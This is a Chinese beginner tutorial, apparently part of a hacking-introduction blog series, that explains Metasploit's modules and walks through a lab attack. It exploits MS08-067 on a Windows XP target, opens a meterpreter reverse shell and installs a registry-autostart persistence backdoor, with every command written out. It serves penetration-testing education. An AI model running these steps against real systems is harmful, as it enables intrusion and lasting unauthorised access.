在上一篇文章中,小白为大家介绍了metasploit的安装过程,在这一篇文章中,我们来进一步了解metasploit渗透框架,为什么受到那么多安全技术人员的追捧。
0x01 metasploit小解析
首先我们来看一张图片
(图片内容参考至:http://blog.csdn.net/attack_eg/article/details/52337646)
Metasploit在设计上尽可能的采用了模块化的理念,提升代码复用效率。上图是metasploit的体系结构图,由图可以看出metasploit由插件,接口,功能程序,模块四大部分组成。其中:
插件:
- 是能够扩充metasploit功能,组合外部工具的具有高级特性的组件。如可以将nessus,nmap,openvas等外部扫描器结合在一起使用,为用户提供一些新的功能命令。
接口:
- 使用metasploit功能的入口。
程序功能:
- 程序功能可以看作是metasploit提供的额外的小工具,帮助渗透测试人员能够更好的完成渗透任务。这些额外的小工具包括后门程序制作,免杀处理等。
模块:
- 模块是metasploit最核心的部分。根据渗透测试的流程,模块更是被细分出六大子模块,每一个子模块都拥有非常清晰的结构和一个预定义好的接口,可以被装载到metasploit框架中,并可以组合支持信息收集、渗透攻击与后渗透攻击拓展等渗透测试任务。
0x02 metasploit与攻击行为模型
再次回到《小白客带你走进黑客世界1之入门》(传送门:http://www.jianshu.com/p/37a704a07f17),我们说过,黑客的攻击行为大致上会遵循一个模型:
踩点-->定位-->入侵-->留后门-->抹去痕迹
那么这个攻击模型怎么和我们的metasploit结合起来呢?
踩点、定位:
- 使用metasploit的插件部分,调用nmap、nessus、openvas等扫描器进行信息收集和漏洞扫描。
入侵:
- 使用metasploit的模块部分,调用渗透攻击模块、攻击载荷模块攻陷计算机系统
留后门:
- 调用后渗透模块,建立可持续访问后门。
- 调用渗透测试攻击模块,连接后门
抹去痕迹:
- 文章不涉及
现在会不会有点明白了呢?
接下来,针对上述攻击模型和metasploit在各个环节中的使用进行一次实战演练。
0x03 metasploit演练
实验环境
- 攻击主机:装有metasploit的linux计算机(ip地址:192.168.1.101/24)
- 受害靶机:存在漏洞的windows xp计算机(ip地址:192.168.1.151)
- 网络环境:两台计算机属于同一个局域网
实验要求
参照攻击行为模型,使用metasploit攻陷受害靶机。
演练开始:
准备工作
第一步:切换到root权限
Ubuntu/Debian等系统切换命令:sudo su
第二步:安装nmap扫描器(ubuntu/debian下)(已有可跳过)
安装命令:apt-get install nmap
第三步:在linux控制台中进入metasploit的控制台终端
相关命令:msfconsole
提示:计算机上没有安装metasploit的同学请参考《小白客带你走进黑客世界19之领略metasploit的风骚走位》,传送门:http://www.jianshu.com/p/276c0649f069
踩点、定位
第一步:使用metasploit的插件部分,调用nmap进行漏洞扫描,确定攻击方向。
相关命令:msf > nmap --script=vuln 受害靶机ip地址
等待几分钟,可以看到扫描结果又是我们很熟悉的ms08-067漏洞。
接下来,就以ms08-067为攻击方向,进行下一步攻击操作。
入侵
使用metasploit的模块部分,调用渗透攻击模块(exploit)、攻击载荷模块(payload)攻陷计算机系统。
第一步,调用针对ms08-067这个漏洞的渗透攻击模块
- 搜索关于ms08-067漏洞可利用的渗透攻击模块(exploit),共找到了一个可用的渗透攻击模块
相关命令:msf > search ms08_067
- 调用找到的渗透攻击模块
相关命令:msf > use exploit/windows/smb/ms08_067_netapi
第二步,调用攻击载荷模块,即攻入受害靶机后需要在靶机上执行的代码。
- 搜索可用的攻击载荷模块(payload)
相关命令:msf exploit(ms08_067_netapi) > show payloads
-
在这里,我们使用比较经典的meterpreter tcp回弹的攻击载荷(payload)
调用攻击载荷
相关命令:msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
第三步,设置其他攻击必要参数
- 查看metasploit针对ms08-067的攻击还需要哪些必要参数
相关命令:msf exploit(ms08_067_netapi) > show options
由查看结果得出,想要进行攻击还需要设置RHOST和LHOST参数,其中RHOST参数值为受害靶机的ip地址,LHOST设置的是攻击主机的ip地址。
接下来,设置LHOST参数和RHOST参数
相关命令:
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.151
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.101
- 最后,设置完毕之后敲入命令exploit即可开始攻击
相关命令:
msf exploit(ms08_067_netapi) > exploit
- 查看ip地址,验证是否攻击成功
相关命令:meterpreter > ipconfig
留后门
(内容参考至:http://blog.csdn.net/qq_34841823/article/details/54927957)
第一步:调用persistence后渗透模块,在受害靶机的注册表值 HKLM\Software\Microsoft\Windows\Currentversion\Run中添加键值,达到自启动的目的。
- -X参数指定启动的方式为开机自启动。
- -i的参数指定反向连接的时间间隔。
- -p指的是将后门连接到指定端口。
- -r指的是想要连接后门的攻击主机的IP地址。
相关命令:meterpreter > run persistence -X -i 5 -p 443 -r 192.168.1.101
第二步:调用渗透测试攻击模块,监听刚设置的443端口,连接后门。
- 调用渗透测试攻击模块
相关命令:
msf > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.1.101
msf exploit(handler) > set LPORT 443
msf exploit(handler) > exploit
- 查看ip地址,验证是否攻击成功
相关命令:meterpreter > ipconfig
0x04 总结
- 重点理解攻击行为模型和metasploit攻击操作过程。
推荐精品干货:
工具 | sqlmap系列(四)高级篇文章
简书地址:http://www.jianshu.com/p/179caff36fa5实战 | ZzCMS前台任意脚本上传漏洞复现
简书地址:http://www.jianshu.com/p/2224d0c6de41
PS:搜索关注专题《黑客师》,小白客带你走进神秘的黑客世界。